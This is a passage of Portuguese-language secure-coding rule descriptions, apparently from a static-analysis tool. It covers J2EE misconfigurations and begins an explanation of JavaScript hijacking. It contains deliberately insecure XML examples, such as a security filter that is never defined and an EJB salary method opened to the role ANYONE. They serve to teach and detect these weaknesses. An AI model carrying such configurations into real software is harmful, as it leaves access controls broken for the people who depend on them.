[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[52] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.j2ee_misconfiguration_missing_error_handling
Abstract
Os mapeamentos de filtro que fazem referência a um filtro inexistente não serão aplicados.
Explanation
Cada mapeamento de filtro deve corresponder a uma definição de filtro válida para que seja aplicado.

Exemplo 1: O exemplo a seguir mostra um mapeamento de filtro que faz referência ao filtro inexistente AuthenticationFilter. Em razão da definição estar ausente, o filtro AuthenticationFilter não será aplicado ao padrão de URL designado /secure/* e pode causar uma exceção de tempo de execução.

<filter>
<description>Compresses images to 64x64</description>
<filter-name>ImageFilter</filter-name>
<filter-class>com.ImageFilter</filter-class>
</filter>

<!-- AuthenticationFilter is not defined -->
<filter-mapping>
<filter-name>AuthenticationFilter</filter-name>
<url-pattern>/secure/*</url-pattern>
</filter-mapping>

<filter-mapping>
<filter-name>ImageFilter</filter-name>
<servlet-name>ImageServlet</servlet-name>
</filter-mapping>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 284
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_filter_definition
Abstract
Uma restrição de segurança que faz referência a um role-name inexistente impede o acesso legítimo a todos os recursos que protege.
Explanation
Um security-role ausente para um role-name definido em um auth-constraint pode indicar uma configuração desatualizada.

Exemplo 1: O exemplo a seguir especifica um role-name, mas não o define em um security-role.

<security-constraint>
<web-resource-collection>
<web-resource-name>AdminPage</web-resource-name>
<description>Admin only pages</description>
<url-pattern>/auth/noaccess/*</url-pattern>
</web-resource-collection>

<auth-constraint>
<description>Administrators only</description>
<role-name>admin</role-name>
</auth-constraint>

<user-data-constraint>
<transport-guarantee>INTEGRAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_security_role
Abstract
Um servlet definido em web.xml não pode ser acessado sem um mapeamento de servlet correspondente.
Explanation
A ausência de um mapeamento de servlet válido impede todo o acesso ao servlet não mapeado.

Exemplo 1: A seguinte entrada de web.xml define ExampleServlet mas falha ao definir um mapeamento de servlet correspondente.

<web-app
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">

<servlet>
<servlet-name>ExampleServlet</servlet-name>
<servlet-class>com.class.ExampleServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

</web-app>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_servlet_mapping
Abstract
Os beans de entidade não devem ser declarados remotos.
Explanation
Os beans de entidade que expõem uma interface remota se tornam parte da superfície de ataque de um aplicativo. Em virtude do desempenho, um aplicativo raramente deve usar beans de entidade remotos, portanto, há uma boa chance de que uma declaração de bean de entidade remota seja um erro.

Exemplo 1: A seguinte declaração de bean de entidade inclui uma interface remota:


<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
References
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 8
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-000804, CCI-002165
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), IA-8 Identification and Authentication (Non-Organizational Users) (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, IA-8 Identification and Authentication (Non-Organizational Users)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[11] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[12] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8, Requirement 7.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.3 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.3 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.3 - Authentication and Access Control, Control Objective C.2.1.2 - Web Software Access Controls
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
desc.config.java.j2ee_misconfiguration_unsafe_bean_declaration
Abstract
A permissão para invocar métodos EJB não deve ser concedida à função ANYONE.
Explanation
Se o descritor de implantação EJB contiver uma ou mais permissões de método que concedem acesso à função ANYONE, isso indica que o controle de acesso para o aplicativo não foi totalmente pensado ou que o aplicativo está estruturado de tal forma que as restrições de controle de acesso razoáveis são impossíveis.

Exemplo 1: O seguinte descritor de implantação concede a ANYONE permissão para invocar o método EJB do Employee, denominado getSalary().


<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
References
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 9
[3] Standards Mapping - Common Weakness Enumeration Top 25 2023 [22] CWE ID 269
[4] Standards Mapping - Common Weakness Enumeration Top 25 2024 [15] CWE ID 269
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-000804, CCI-002165
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), IA-8 Identification and Authentication (Non-Organizational Users) (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, IA-8 Identification and Authentication (Non-Organizational Users)
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[12] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[13] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[14] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8, Requirement 7.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 7.3.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 7.3.2
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.3 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.3 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.3 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.2.1.2 - Web Software Access Controls
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15), Insufficient Authentication (WASC-01)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.config.java.j2ee_misconfiguration_weak_access_permissions
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

